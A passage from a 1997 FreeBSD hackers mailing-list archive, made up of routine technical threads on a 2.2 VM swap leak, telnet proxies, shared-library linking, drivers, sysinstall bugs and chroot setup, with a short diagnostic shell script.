2.2-STABLE on a 32MB system. When using > procmail to deliver large mails, procmail dies with a > "out of memory" message. After that, the system is either in > an undefined state (producing messages as "junk pointer, too > low to make sense.") or freezes completely. > When running a high priority "top" in another window, I see > the swap being used growing constantly until all of it is > used. This is reproducable on different HW. > However, on 2.1.7 systems everything works great. > > Here are some results from my tests: > > System Version RAM SWAP Mail Size Status > ============================================================== > 486-66 2.1.7 12M 20M 8M/12M/16M OK > 486-120 2.1.7 20M 72M 8M/12M/16M OK > PPro-200 2.1.7 64M 300M 8M/12M/16M OK > > PPro-200 2.2 64M 300M 8M/12M OK > PPro-200 2.2 64M 300M 16M FAIL > P5-166 2.2 32M 150M 8M/12M/16M FAIL > P5-166 2.2 64M 150M 8M/12M OK > P5-166 2.2 64M 150M 16M FAIL > > I suspect a problem in the vm system in 2.2 but have no idea > how to fix it. However, I (and others, who confirmed it via > email) can reproduce it... So if I should try something, tell > me. > > Thanks for any hints > > -Andre > From owner-freebsd-hackers Mon May 26 07:44:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA21823 for hackers-outgoing; Mon, 26 May 1997 07:44:03 -0700 (PDT) Received: from david.siemens.de (david.siemens.de [139.23.36.11]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA21807 for ; Mon, 26 May 1997 07:44:00 -0700 (PDT) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.5/8.8.5) with ESMTP id QAA13351 for ; Mon, 26 May 1997 16:38:58 +0200 (MDT) Received: from curry.mchp.siemens.de (1@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.5/8.8.5) with ESMTP id QAA23851 for ; Mon, 26 May 1997 16:43:57 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.5/8.8.5) id QAA24098 for ; Mon, 26 May 1997 16:43:56 +0200 (MET DST) From: Andre Albsmeier Message-Id: <199705261443.QAA03605@curry.mchp.siemens.de> Subject: Re: vm problems on 2.2, 2.1.7 works In-Reply-To: <199705261412.QAA07764@zibbi.mikom.csir.co.za> from John Hay at "May 26, 97 04:12:48 pm" To: jhay@zibbi.mikom.csir.co.za (John Hay) Date: Mon, 26 May 1997 16:43:47 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hmmm. This looks a lot like the problem I have on my news server. > It will run ok for a while and then suddenly start to use up all > of the swap. According to top and ps no process is using that > memory, but if I kill innd quick enough all will be ok. So now > I have a script that runs every minute and kill and restart innd > as soon as the swap usage go over some value. Not nice, but it > works until someone find this thingy. Yes, the same here. The swapspace in use diplayed in top grows to its limits but there is no process using it. procmail stays between 8M and 17M depending on the mail size... This confirmes my thinking, that procmail itself isn't the problem... > > John > -- > John Hay -- John.Hay@mikom.csir.co.za > > > Hi, > > > > I am running FreeBSD 2.2-STABLE on a 32MB system. When using > > procmail to deliver large mails, procmail dies with a > > "out of memory" message. After that, the system is either in > > an undefined state (producing messages as "junk pointer, too > > low to make sense.") or freezes completely. > > When running a high priority "top" in another window, I see > > the swap being used growing constantly until all of it is > > used. This is reproducable on different HW. > > However, on 2.1.7 systems everything works great. > > > > Here are some results from my tests: > > > > System Version RAM SWAP Mail Size Status > > ============================================================== > > 486-66 2.1.7 12M 20M 8M/12M/16M OK > > 486-120 2.1.7 20M 72M 8M/12M/16M OK > > PPro-200 2.1.7 64M 300M 8M/12M/16M OK > > > > PPro-200 2.2 64M 300M 8M/12M OK > > PPro-200 2.2 64M 300M 16M FAIL > > P5-166 2.2 32M 150M 8M/12M/16M FAIL > > P5-166 2.2 64M 150M 8M/12M OK > > P5-166 2.2 64M 150M 16M FAIL > > > > I suspect a problem in the vm system in 2.2 but have no idea > > how to fix it. However, I (and others, who confirmed it via > > email) can reproduce it... So if I should try something, tell > > me. > > > > Thanks for any hints > > > > -Andre > > > From owner-freebsd-hackers Mon May 26 08:22:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA23649 for hackers-outgoing; Mon, 26 May 1997 08:22:32 -0700 (PDT) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.202]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA23643 for ; Mon, 26 May 1997 08:22:23 -0700 (PDT) Received: from ida.interface-business.de (ida.interface-business.de [193.101.57.203]) by innocence.interface-business.de (8.6.11/8.6.9) with SMTP id RAA16105 for ; Mon, 26 May 1997 17:21:06 +0200 Received: (from j@localhost) by ida.interface-business.de (8.8.5/8.7.3) id RAA19190; Mon, 26 May 1997 17:24:32 +0200 (MET DST) Message-ID: <19970526172431.UF44733@ida.interface-business.de> Date: Mon, 26 May 1997 17:24:31 +0200 From: j@ida.interface-business.de (J Wunsch) To: freebsd-hackers@freebsd.org Subject: telnet-gw anyone? X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-31809-14 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Organization: interface business GmbH, Dresden Reply-To: joerg_wunsch@interface-business.de (Joerg Wunsch) Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've desperately tried to get TIS's telnet-gw working, but failed so far. It connects to some hosts, but gets confused about whether to turn on echo or not (so sometimes, it echoes passwords), or you can hit enter after typing the login name, and the gated telnet server issues another login prompt etc. I've looked into the source -- and don't get a clue out of it. Telnet itself is terrible, and this telnet-gw doesn't look very bright either... So does anybody have a working telnet proxy server around? -- J"org Wunsch Unix support engineer joerg_wunsch@interface-business.de http://www.interface-business.de/~j From owner-freebsd-hackers Mon May 26 08:35:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA24273 for hackers-outgoing; Mon, 26 May 1997 08:35:17 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA24265 for ; Mon, 26 May 1997 08:35:14 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.5/8.8.5) id KAA12679; Mon, 26 May 1997 10:34:30 -0500 (EST) From: "John S. Dyson" Message-Id: <199705261534.KAA12679@dyson.iquest.net> Subject: Re: vm problems on 2.2, 2.1.7 works In-Reply-To: <199705261443.QAA03605@curry.mchp.siemens.de> from Andre Albsmeier at "May 26, 97 04:43:47 pm" To: Andre.Albsmeier@mchp.siemens.de (Andre Albsmeier) Date: Mon, 26 May 1997 10:34:29 -0500 (EST) Cc: jhay@zibbi.mikom.csir.co.za, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Hmmm. This looks a lot like the problem I have on my news server. > > It will run ok for a while and then suddenly start to use up all > > of the swap. According to top and ps no process is using that > > memory, but if I kill innd quick enough all will be ok. So now > > I have a script that runs every minute and kill and restart innd > > as soon as the swap usage go over some value. Not nice, but it > > works until someone find this thingy. > > Yes, the same here. The swapspace in use diplayed in top grows > to its limits but there is no process using it. procmail stays > between 8M and 17M depending on the mail size... > This confirmes my thinking, that procmail itself isn't the > problem... > I'll look at procmail, but can anyone narrow this problem down to a reasonably small piece of code? When this starts to happen, I would like the output of the following command file (which will give me more detail about the problem that you are seeing): #!/bin/sh ps -xla pstat -s for i in /proc/*/map do echo $i: cat <$i done Thanks! John From owner-freebsd-hackers Mon May 26 09:10:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA25849 for hackers-outgoing; Mon, 26 May 1997 09:10:23 -0700 (PDT) Received: from usc.usc.unal.edu.co ([200.21.26.65]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA25840 for ; Mon, 26 May 1997 09:10:13 -0700 (PDT) Received: from unalmodem13.usc.unal.edu.co by usc.usc.unal.edu.co (AIX 4.1/UCB 5.64/4.03) id AA3923320; Mon, 26 May 1997 12:07:27 -0400 Message-Id: <3389D08B.6ECE@fps.biblos.unal.edu.co> Date: Mon, 26 May 1997 11:03:55 -0700 From: "Pedro F. Giffuni" Organization: Universidad Nacional de Colombia X-Mailer: Mozilla 3.0 (Win16; I) Mime-Version: 1.0 To: Joerg Wunsch Cc: freebsd-hackers@freebsd.org Subject: Re: telnet-gw anyone? References: <19970526172431.UF44733@ida.interface-business.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > > So does anybody have a working telnet proxy server around? > Try the delegated port, it's under WWW (for some reason). I haven't used it but it's documentation makes me think it's an awesome thing to have. If all else fails try with CERN httpd, it's supposed to act as a proxy when adecuately configured. Pedro. > -- > J"org Wunsch Unix support engineer > joerg_wunsch@interface-business.de http://www.interface-business.de/~j From owner-freebsd-hackers Mon May 26 09:30:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA27062 for hackers-outgoing; Mon, 26 May 1997 09:30:14 -0700 (PDT) Received: from austin.polstra.com (austin.polstra.com [206.213.73.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA27049 for ; Mon, 26 May 1997 09:30:10 -0700 (PDT) Received: from austin.polstra.com (jdp@localhost) by austin.polstra.com (8.8.5/8.8.5) with ESMTP id JAA29016; Mon, 26 May 1997 09:29:40 -0700 (PDT) Message-Id: <199705261629.JAA29016@austin.polstra.com> To: peter@spinner.dialix.com.au Subject: Re: cvs commit: src/release boot_crunch.conf Newsgroups: polstra.freebsd.cvs.committers In-Reply-To: <199705260329.LAA00670@spinner.dialix.com.au> References: <199705260329.LAA00670@spinner.dialix.com.au> Organization: Polstra & Co., Seattle, WA Cc: hackers@freebsd.org Date: Mon, 26 May 1997 09:29:40 -0700 From: John Polstra Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199705260329.LAA00670@spinner.dialix.com.au>, Peter Wemm wrote: > For dlopen/dlclose/etc to work, it requires that the calling executable is > dynamically linked, linked with libc.so.xx and that /usr/libexec/ld.so is > present. A dynamic libc is important since if libalias makes any libc > calls (memcpy, strcmp, etc) then the symbols have to be dynamically > resolveable. The right way to handle this is to add "-lc" to the linker line when building libalias.so.m.n. E.g.: cc -shared -o libalias.so.1.1 ... -lc Then when you dlopen() libalias, it will pull in libc if that has not already been done. We probably should be building all of our shared libraries with their dependencies specified explicitly in this way. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-knowledge is always bad news." -- John Barth From owner-freebsd-hackers Mon May 26 09:43:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA27896 for hackers-outgoing; Mon, 26 May 1997 09:43:39 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA27884 for ; Mon, 26 May 1997 09:43:34 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.8.5/8.8.5) with SMTP id JAA04537; Mon, 26 May 1997 09:40:07 -0700 (PDT) Date: Mon, 26 May 1997 09:40:06 -0700 (PDT) From: Tom Samplonius To: John Hay cc: Andre Albsmeier , hackers@FreeBSD.ORG Subject: Re: vm problems on 2.2, 2.1.7 works In-Reply-To: <199705261412.QAA07764@zibbi.mikom.csir.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 26 May 1997, John Hay wrote: > Hmmm. This looks a lot like the problem I have on my news server. > It will run ok for a while and then suddenly start to use up all > of the swap. According to top and ps no process is using that > memory, but if I kill innd quick enough all will be ok. So now > I have a script that runs every minute and kill and restart innd > as soon as the swap usage go over some value. Not nice, but it > works until someone find this thingy. Doesn't happen everywhere: I have a 2.2.1 system running innd, and the innd process has been running since Apr29 (almost a month), without any problems. The server is only moderately busy: it accept 279K articles yesterday, and feed out 394K articles. Tom > John > -- > John Hay -- John.Hay@mikom.csir.co.za > > > Hi, > > > > I am running FreeBSD 2.2-STABLE on a 32MB system. When using > > procmail to deliver large mails, procmail dies with a > > "out of memory" message. After that, the system is either in > > an undefined state (producing messages as "junk pointer, too > > low to make sense.") or freezes completely. > > When running a high priority "top" in another window, I see > > the swap being used growing constantly until all of it is > > used. This is reproducable on different HW. > > However, on 2.1.7 systems everything works great. > > > > Here are some results from my tests: > > > > System Version RAM SWAP Mail Size Status > > ============================================================== > > 486-66 2.1.7 12M 20M 8M/12M/16M OK > > 486-120 2.1.7 20M 72M 8M/12M/16M OK > > PPro-200 2.1.7 64M 300M 8M/12M/16M OK > > > > PPro-200 2.2 64M 300M 8M/12M OK > > PPro-200 2.2 64M 300M 16M FAIL > > P5-166 2.2 32M 150M 8M/12M/16M FAIL > > P5-166 2.2 64M 150M 8M/12M OK > > P5-166 2.2 64M 150M 16M FAIL > > > > I suspect a problem in the vm system in 2.2 but have no idea > > how to fix it. However, I (and others, who confirmed it via > > email) can reproduce it... So if I should try something, tell > > me. > > > > Thanks for any hints > > > > -Andre > > > > > From owner-freebsd-hackers Mon May 26 12:06:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA05503 for hackers-outgoing; Mon, 26 May 1997 12:06:43 -0700 (PDT) Received: from m6.bus.net (nell.bus.net [207.41.24.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA05497 for ; Mon, 26 May 1997 12:06:37 -0700 (PDT) Received: (from cao@localhost) by m6.bus.net (8.8.5/8.7.3) id PAA01694; Mon, 26 May 1997 15:06:34 -0400 (EDT) Date: Mon, 26 May 1997 15:06:34 -0400 (EDT) From: "Chuck O'Donnell" To: freebsd-hackers@freebsd.org Subject: qcam Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone have the qcam driver working for the color connectix quickcam? If so, what did you use in the kernel config to get it working? I have tried the line from /sys/i386/conf/LINT: device qcam0 at isa? port "IO_LPT3" tty (except I used "IO_LPT1"). The probe fails at boot I noticed some things in qcam(4) and also the mail archives that suggest 'conflict' and 'flags 1'. Is there somewhere that I can read up on the meanings of these directives? Is the problem that I have the wrong flags set or is it just that the driver does not work with color? The cqcam-0.4 says it works under FreeBSD, so I have to assume that the problem is on my end. I am running 2.2.1 R Thank you. Chuck O. From owner-freebsd-hackers Mon May 26 14:42:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA12923 for hackers-outgoing; Mon, 26 May 1997 14:42:12 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA12917 for ; Mon, 26 May 1997 14:42:08 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 27621 on Mon, 26 May 1997 21:42:02 GMT; id VAA27621 efrom: peter@grendel.IAEhv.nl; eto: UNKNOWN Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id XAA00588; Mon, 26 May 1997 23:30:13 +0200 (CEST) Message-ID: <19970526233013.13944@hw.nl> Date: Mon, 26 May 1997 23:30:13 +0200 From: Peter Korsten To: Jaye Mathisen Cc: hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: ; from Jaye Mathisen on Sun, May 25, 1997 at 02:50:55PM -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen shared with us: > > Anybody got any tips on how to write a secure shell to exec on login to > set a users environment to the "right thing". > > (I don't mean a rsh type secure shell, but rather a good secure thing > to have in /etc/master.passwd that execs the real shell in a chroot'd > environment.). I don't think you can build a real shell (like sh or csh) and have it run safely inside a chroot environment. Someone (as a matter of fact, the FreeBSD security officer :) ) showed me how to break out of a chroot environment with a simple 'ln' or something like that. Indeed, you'd better use a restricted Lynx. With a shell, you would have to disable everything that could cause a break out of the chroot cage. It's better to permit certain actions than to have to forbid them. - Peter From owner-freebsd-hackers Mon May 26 15:46:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA15576 for hackers-outgoing; Mon, 26 May 1997 15:46:40 -0700 (PDT) Received: from laptop.nightflight.com ([207.135.216.195]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA15570; Mon, 26 May 1997 15:46:30 -0700 (PDT) Received: (from root@localhost) by laptop.nightflight.com (8.8.5/8.8.5) id PAA00248; Mon, 26 May 1997 15:46:13 -0700 (PDT) Message-ID: X-Mailer: XFMail 1.0 [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Mon, 26 May 1997 15:43:40 -0700 (PDT) Organization: NightFlight From: Gary Crutcher To: questions@freebsd.org Subject: /dev/wd0* disappeared Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I did a MAKEDEV all and guess what? My /dev/wd02sf and /dev/wd0s2e device entries were gone! I did his to try and make the soundblaster devices. Any idea why this happened? Gary ---------------------------------- E-Mail: Gary Crutcher Date: 26-May-97 Time: 15:43:40 This message was sent by XFMail ---------------------------------- From owner-freebsd-hackers Tue May 27 05:07:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA10304 for hackers-outgoing; Tue, 27 May 1997 05:07:02 -0700 (PDT) Received: from helios.man.lublin.pl (daemon@helios.man.lublin.pl [194.92.17.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA10235 for ; Tue, 27 May 1997 05:06:52 -0700 (PDT) Received: from bachus.1lo.lublin.pl by helios.man.lublin.pl with ESMTP (1.39.111.2/16.2) id AA110514787; Tue, 27 May 1997 14:06:27 +0200 Received: from BACHUS/MAILQUEUE by bachus.1lo.lublin.pl (Mercury 1.21); 27 May 97 14:06:29 +0100 Received: from MAILQUEUE by BACHUS (Mercury 1.21); 27 May 97 14:04:18 +0100 From: "MACIEJ LESNIAK" Organization: Stanislaw Staszic High School To: Hackers@FreeBSD.org Date: Tue, 27 May 1997 14:04:17 +0100 Subject: Priority: normal X-Mailer: Pegasus Mail v3.40 Message-Id: <135C15A4524@bachus.1lo.lublin.pl> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk help From owner-freebsd-hackers Tue May 27 05:54:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA11893 for hackers-outgoing; Tue, 27 May 1997 05:54:48 -0700 (PDT) Received: from freefall.freebsd.org (freefall.cdrom.com [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA11876 for ; Tue, 27 May 1997 05:54:44 -0700 (PDT) Received: from smtp.enteract.com (qmailr@char-star.rdist.org [206.54.252.22]) by freefall.freebsd.org (8.8.5/8.8.5) with SMTP id FAA05019 for ; Tue, 27 May 1997 05:54:40 -0700 (PDT) Received: (qmail 8985 invoked from network); 27 May 1997 12:54:38 -0000 Received: from enteract.com (mrfoine@206.54.252.1) by char-star.rdist.org with SMTP; 27 May 1997 12:54:38 -0000 Date: Tue, 27 May 1997 07:54:36 -0500 (CDT) From: Wayne Baety To: john cooper cc: freebsd-bugs@freebsd.com, freebsd-hackers@freebsd.com, freebsd-questions@freebsd.com, john@isi.com Subject: Re: Quick (freebsd 2.2.1 / xf86 3.2 / flakey mouse) question In-Reply-To: <199705130008.JAA00677@ns.isi.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 13 May 1997, john cooper wrote: > Hi, > I searched the freebsd and XF86 FAQ's but found nothing > corresponding the the problem I'm experiencing. I have a > ps/2 mouse systems mouse that exhibits wierd behavior > under both fvwm and twm. I get this too but with a serial mouse.....the problem goes away whenever i unplug the floppy drive cable though...what gives? > > The cursor can be moved with the mouse, however the cursor > instantly 'homes' back to the lower left corner of the screen > at seemingly random times. The frequency of this is so high > that X is effectively unuseable. > > The mouse is at 0x60, IRQ 12 as usual and conflicts with > no other device as best as I can tell. I suspect some > xf86 configuration problem here as the erratic behavior > occurs in fvwm and twm. I tried selecting mouse comm > protocols other than ps/2, which only made things worse. > im not using anything but the mouse on COM1 and its irq. EQ: NEC Floppy drive using an in board PCI floppy controller w/ a PCI to ISA Bridge (shows up on the probe list). As far as i know the board only uses IRQ 14 and 15 for the HD and the standard floppy irq. From owner-freebsd-hackers Tue May 27 06:35:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA13486 for hackers-outgoing; Tue, 27 May 1997 06:35:37 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA13477 for ; Tue, 27 May 1997 06:35:32 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.7.5/8.7.3) id PAA04141 for freebsd-hackers@freebsd.org; Tue, 27 May 1997 15:39:22 +0200 (MET DST) From: Mikael Karpberg Message-Id: <199705271339.PAA04141@ocean.campus.luth.se> Subject: Sysinstall problems... To: freebsd-hackers@freebsd.org Date: Tue, 27 May 1997 15:39:21 +0200 (MET DST) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! I just went and tried installing 3.0-970526-SNAP from current.freebsd.org. Along the way I found some problems: One thing is that sysinstall gives you the choise of ftp sites, including current.freebsd.org and releng22.freebsd.org. Both those, however, resulted in sysinstall connecting to "ftp@ftp.freebsd.org", which made things work less then well. I used "other URL" and entered it by hand, and that worked fine. This problem also showed up when I (after noting that 3.0 crashed on me when I exited X11) installed releng22 from 970526. As a matter of fact, I'm still installing... I'm right now working in the emergency shell, telnet:ed to my server. (It took ages before a working telnet was downloaded. Why was /stand/telnet taken out? *cry*) I'm affraid I have no clue what happened to the 3.0 when it crashed. It was some page fault, but I didn't have time to look at it. This is my work machine, and I have lost enough time by upgrading it. I went for releng22 pretty quickly. Ok. More problems found: Shouldn't sysinstall not only let you set up which port your mouse is on, but also the type of the mouse, and baudrate and all. Another sheet to fill out, just the gateway/hostname/etc one? And then remove the mouse setup from XF86setup, and just hardcode it to /dev/sysmouse and MouseSystem. It's pretty confusing, as it is now. I know it's a part of XFree86, but itshould be able to ifdef that menu for FreeBSD, so that it only had the "emulate three mouse buttons" thing, etc? Or even better, make moused do that too (it doesn't, right?), and remove the menu from XF86setup completely. Also, sysinstall got a SIGSEGV when I accidently choose "FTP", instead of "FTP Passive" when installing anything (distribution, packages, anything). The machine is behind a firewall, and so it seems like sysinstall SEGV:s when the timeout has passed. Hope this helps someone. :-) /Mikael From owner-freebsd-hackers Tue May 27 07:07:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA15014 for hackers-outgoing; Tue, 27 May 1997 07:07:06 -0700 (PDT) Received: from sumatra.americantv.com (sumatra.americantv.com [207.170.17.37]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA15005 for ; Tue, 27 May 1997 07:06:51 -0700 (PDT) Received: from right.PCS (right.PCS [148.105.10.31]) by sumatra.americantv.com (8.8.5/8.8.5) with ESMTP id JAA16300; Tue, 27 May 1997 09:34:34 -0500 (CDT) Received: (jlemon@localhost) by right.PCS (8.6.13/8.6.4) id JAA09898; Tue, 27 May 1997 09:09:41 -0500 Message-ID: <19970527090941.33299@right.PCS> Date: Tue, 27 May 1997 09:09:41 -0500 From: Jonathan Lemon To: "Freeman P. Pascal IV" Cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Toshiba Satellite Pro 415CS and serial ports... References: <3388FAD8.2E611D9@compute.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.61.1 In-Reply-To: <3388FAD8.2E611D9@compute.com>; from Freeman P. Pascal IV on May 05, 1997 at 07:52:09PM -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On May 05, 1997 at 07:52:09PM -0700, Freeman P. Pascal IV wrote: > > I recently installed 2.2.1-RELEASE on a Toshiba Satellite Pro 415CS. > Everything worked fine (including the builtin mouse and keyboard which > has been reported as a problem in the past), with the exception of the > serial ports. > > I've verified that com1 and com2 are configured, but they are NOT seen > during boot time. These serial ports were operational under Win95. > > I've searched the mailing list archive and the bug list, but haven't > found anything useful. > > Has anyone else experienced this problem, and is there a fix? I've also been trying to get -current running on a Pro 410. Both serial ports are detected under windows. When booting off the install disk, only one serial port (the IrDA one) is detected, the other is missing. I've turned on all debugging flags (0x40?) in the probe routine, but all it tells me is that every single probe failed. Ideas? -- Jonathan From owner-freebsd-hackers Tue May 27 07:54:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA16623 for hackers-outgoing; Tue, 27 May 1997 07:54:08 -0700 (PDT) Received: from korky.fe.up.pt (korky.fe.up.pt [192.82.214.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA16603 for ; Tue, 27 May 1997 07:53:36 -0700 (PDT) From: ee96199@tom.fe.up.pt Received: by korky.fe.up.pt; id AA12738; Tue, 27 May 1997 15:52:33 GMT Received: from localhost by tom.fe.up.pt; (5.65v3.2/1.1.8.2/16Oct95-1216PM) id AA09265; Tue, 27 May 1997 15:54:01 GMT Date: Tue, 27 May 1997 15:54:01 +0000 (GMT) To: hackers@freebsd.org Subject: FreeBSD CVS Tree Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! Sometime ago I asked if I could use the CVS tree that came with the FreeBSD cdrom as a seed to keep an up to date copy of the FreeBSD CVS Master Repository. I was disapointed when I found that the 2.2.1 CD hadn't the CVS tree in it. :-( My question now is: Can I ftp the complete tree from a FreeBSD mirror site as in ftp://ftp.uk.freebsd.org/pub/FreeBSD/FreeBSD-CVS? My goal is to use CVSup and run it every 2 days to keep my sources current and extract a copy of FreeBSD-stable every week and then do a make world :-). Any comments on how to do this are welcome! If anyone out there can help me, please help... PS: Sorry for my poor English. Thanks in advance Jorge Goncalves From owner-freebsd-hackers Tue May 27 08:24:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA17597 for hackers-outgoing; Tue, 27 May 1997 08:24:29 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA17588 for ; Tue, 27 May 1997 08:24:26 -0700 (PDT) Received: from rodan.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.8955AEA0@mailer.syr.edu>; Tue, 27 May 1997 11:24:27 -0400 Received: from localhost (cmsedore@localhost) by rodan.syr.edu (8.8.5/8.8.5) with SMTP id LAA11969 for ; Tue, 27 May 1997 11:24:22 -0400 (EDT) X-Authentication-Warning: rodan.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 11:24:22 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@rodan.syr.edu To: FreeBSD-Hackers@FreeBSD.ORG Subject: async socket stuff In-Reply-To: <19970527090941.33299@right.PCS> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I've been thinking about implementing some async socket handling code and am wondering if someone else is doing this or has done it. I've been thinking about two different approaches: 1. Creating a new ioctl set and a few syscalls to allow you to associate a socket with something like an NT I/O completion port. This would allow you to associate a socket descriptor with a queue and each time the socket's status changed (via sorwakeup or sowwakeup) I'd post an entry into the queue. The idea is that rather than using select() and then searching through a list of descriptors, you could just read them off one (or many) at a time and do I/O on the appropriate descriptors. This seems to me to be more efficient than select(). 2. Implementing general async I/O for sockets. Then, rather than (or perhaps in addition to) the above functionality, you could use the queue to hold results of async operations. I've also thought of adding a call like NT's TransmitFile() (single call file transfer). Comments? Suggestions? Criticisms? -Chris From owner-freebsd-hackers Tue May 27 09:17:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA19874 for hackers-outgoing; Tue, 27 May 1997 09:17:29 -0700 (PDT) Received: from wafu.netgate.net (wafu.netgate.net [204.145.147.80]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA19867 for ; Tue, 27 May 1997 09:17:25 -0700 (PDT) Received: from chiota.signet.or.jp (ppp14.tama.dtinet.or.jp [203.181.65.111]) by wafu.netgate.net (8.7.5/8.7.3) with ESMTP id IAA12141; Tue, 27 May 1997 08:20:24 GMT Message-Id: 